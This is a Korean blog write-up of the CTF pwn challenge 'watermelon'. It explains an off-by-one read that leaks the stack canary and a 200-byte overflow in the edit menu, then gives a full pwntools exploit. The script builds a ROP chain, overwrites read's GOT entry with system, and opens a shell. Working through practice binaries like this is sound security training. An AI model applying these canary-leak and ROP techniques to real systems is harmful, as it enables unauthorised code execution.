먼저 이 바이너리는 32비트 리눅스용 바이너리다.
그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.
바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.
이 메뉴들에 대해선 ida로 먼저 살펴봤다.
헥스레이로 main()함수를 보면 알 수 있다.
우선 v1변수에 4400바이트를 memset한다.
그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)
sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다.
우선 1번 메뉴부터 보면
음악리스트를 추가하는 함수다.
dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.
그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.
근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.
num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.
그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.
이 부분은 이후에 카나리를 릭할 때 필요하게 된다.
그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.
그리고 3번 메뉴를 보자.
이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.
여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.
시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.
우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.
from pwn import *
p = process("./watermelon")
elf = ELF("./watermelon")
name = 0x804D7A0
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
pppr = 0x8048f0d
system_offset = 0x9ad60 #read - system
log.info("binary is executing...")
p.recv()
p.sendline("/bin/sh\x00")
p.recv()
log.info("looping..")
for i in range(0, 100):
p.sendline("1")
p.recvuntil("music")
p.recv()
p.sendline("A")
p.recv()
p.sendline("B")
sleep(0.2)
p.recv()
log.info("playlist is FULL!")
p.sendline("3")
p.recvuntil("100")
p.recv()
p.sendline("100")
p.recv()
p.sendline("GGGG") # modify music
p.recv()
p.sendline("T"*20) # leak canary
p.recv()
p.sendline("2")
p.recvuntil("T"*20)
canary = u32("\x00" + p.recv().split("\x0a")[1][0:3])
log.info("leaked CANARY = {}".format(hex(canary)))
payload = "A"*20
payload += p32(canary)
payload += "A"*12
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += "JUNK"
payload += p32(name)
log.info("Exploit..")
p.sendline("3")
p.recv()
p.recv()
log.info("sending 100")
p.recv()
p.sendline("100")
p.recv()
p.sendline("AAAA")
p.recv()
p.sendline(payload)
p.recv()
p.sendline("4")
p.recvuntil("BYE BYE\n\n")
libc_read = u32(p.recv())
log.info("libc read = {}".format(hex(libc_read)))
libc_system = libc_read - system_offset
log.info("libc system = {}".format(hex(libc_system)))
p.sendline(p32(libc_system))
p.interactive()
'CTF' 카테고리의 다른 글
| EasyCTF2017 Simple ROP (0) | 2018.08.01 |
|---|---|
| Def-camp warmheap (0) | 2018.07.31 |
| CodeGate2014 nuclear (0) | 2018.07.22 |
| CodeGate 2014 angry_doraemon (0) | 2018.07.20 |
| CodeGate 2017 babypwn (1) | 2018.07.18 |
watermelon